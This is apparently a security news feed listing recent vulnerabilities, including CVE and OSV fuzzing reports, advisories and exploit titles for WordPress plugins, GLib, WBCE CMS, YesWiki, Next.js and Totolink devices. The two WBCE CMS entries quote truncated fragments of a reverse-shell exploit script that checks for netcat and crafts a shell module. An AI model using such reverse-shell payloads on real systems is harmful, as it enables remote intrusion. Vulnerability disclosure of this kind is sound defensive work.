WordPress Specia Companion plugin <= 6.2 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Aiden in WordPress Plugin Specia Companion versions = 6.2...

CVE-2025-3360 Glibc: glib prior to 2.82.5 is vulnerable to integer overflow and buffer under-read when parsing a very long invalid iso 8601 timestamp with g_date_time_new_from_iso8601().

A flaw was found in GLib. An integer overflow and buffer under-read occur when parsing a long invalid ISO 8601 timestamp with the gdatetimenewfromiso8601 function...

Denial Of Service (DoS)

@directus/storage-driver-s3 is vulnerable to Denial Of Service DoS. The vulnerability is due to improper handling of malformed transformation requests, which allows an attacker to trigger a state where all assets return 403 errors, leading to asset unavailability across all Directus policies...

OSV-2025-262 UNKNOWN WRITE in _lou_handlePassVariableAction

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408523839 Crash type: UNKNOWN WRITE Crash state: louhandlePassVariableAction passDoAction translateString...

📄 WBCE CMS 1.6.3 Remote Code Execution

WBCE CMS version 1.6.3 suffers from an authenticated remote code execution vulnerability. Exploit Title: WBCE CMS " exit 1 fi if -z "$which nc" ; then echo "! Netcat is not installed." exit 1 fi ip=$1 port=$2 rm -rf shellModule.zip rm -rf shellModule mkdir shellModule echo Crafting Payload cat...

YesWiki 4.5.1 - Unauthenticated Path Traversal

Exploit Title: YesWiki 4.5.2 - Unauthenticated Path Traversal Exploit Author: Al Baradi Joy Exploit Date: April 6, 2025 CVE ID: CVE-2025-31131 Vendor Homepage: https://yeswiki.net/ Software Link: https://github.com/YesWiki/yeswiki Affected Version: 4.5.2 Tested On: YesWiki 4.5.1 on Ubuntu 22.04...

CVE-2025-28400

An issue in RUoYi v.4.8.0 allows a remote attacker to escalate privileges via the postID parameter in the edit method...

CVE-2024-51800

Incorrect Privilege Assignment vulnerability in Favethemes Homey allows Privilege Escalation.This issue affects Homey: from n/a through 2.4.1...

OSV-2025-260 Heap-buffer-overflow in bfd_getb16

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408254000 Crash type: Heap-buffer-overflow READ 1 Crash state: bfdgetb16 nds32elfdo9pcrelreloc nds32elf9pcrelreloc...

PT-2025-15102 · Unknown · Codeprojects Online Restaurant Management System

Name of the Vulnerable Software and Affected Versions: codeprojects Online Restaurant Management System version 1.0 Description: A critical issue was found in the codeprojects Online Restaurant Management System. This issue affects the /reservation save.php file, where the manipulation of the fir...

WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE)

Exploit Title: WBCE CMS " exit 1 fi if -z "$which nc" ; then echo "! Netcat is not installed." exit 1 fi ip=$1 port=$2 rm -rf shellModule.zip rm -rf shellModule mkdir shellModule echo Crafting Payload cat shellModule/info.php ?php / @category modules @package Reverse Shell @author Swammers8 @link...

OSV-2025-258 Global-buffer-overflow in parseExtraField

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408025088 Crash type: Global-buffer-overflow READ 1 Crash state: parseExtraField KZip::openArchive KArchive::open...

OSV-2025-256 Global-buffer-overflow in QByteArray::QByteArray

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408025086 Crash type: Global-buffer-overflow READ 15 Crash state: QByteArray::QByteArray KZip::openArchive KArchive::open...

PT-2025-18675 · Totolink · Totolink Ca300-Poe

Name of the Vulnerable Software and Affected Versions: TOTOLINK CA300-POE version 6.2c.884 B20180522 Description: A command injection issue was discovered in the recvUpgradeNewFw function via the fwUrl parameter. This issue allows attackers to execute arbitrary commands via a crafted request...

PT-2025-15070 · Zammad · Zammad

Name of the Vulnerable Software and Affected Versions: Zammad versions 6.4.0 through 6.4.1 Description: The issue allows an authenticated agent with knowledge base permissions to use the Zammad API to fetch knowledge base content that they have no permission for. Recommendations: For versions 6.4...

Next.js Middleware 15.2.2 - Authorization Bypass

Exploit Title: Next.js Middleware Bypass Vulnerability CVE-2025-29927 Date: 2025-03-26 Exploit Author: kOaDT Vendor Homepage: https://nextjs.org/ Software Link: https://github.com/vercel/next.js Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4 Tested on: Ubuntu...

PT-2025-18673 · Totolink · Totolink Ca300-Poe

Name of the Vulnerable Software and Affected Versions: TOTOLINK CA300-POE version 6.2c.884 B20180522 Description: A command injection issue was discovered in the msg process function via the Port parameter. This issue allows attackers to execute arbitrary commands via a manipulated request...

DSA-5893-1 tomcat10 - security update

Bulletin has no description...

PT-2025-22633 · Git +1 · Archive

Name of the Vulnerable Software and Affected Versions: KArchive affected versions not specified Description: The software suffers from a global-buffer-overflow read issue. The crash occurs during the parseExtraField function, within the KZip::openArchive and KArchive::open functions...

CVE-2025-0468

Software installed and run as a non-privileged user may conduct improper GPU system calls to subvert GPU HW to write to arbitrary physical memory pages. Under certain circumstances this exploit could be used to corrupt data pages not allocated by the GPU driver but memory pages in use by the kern...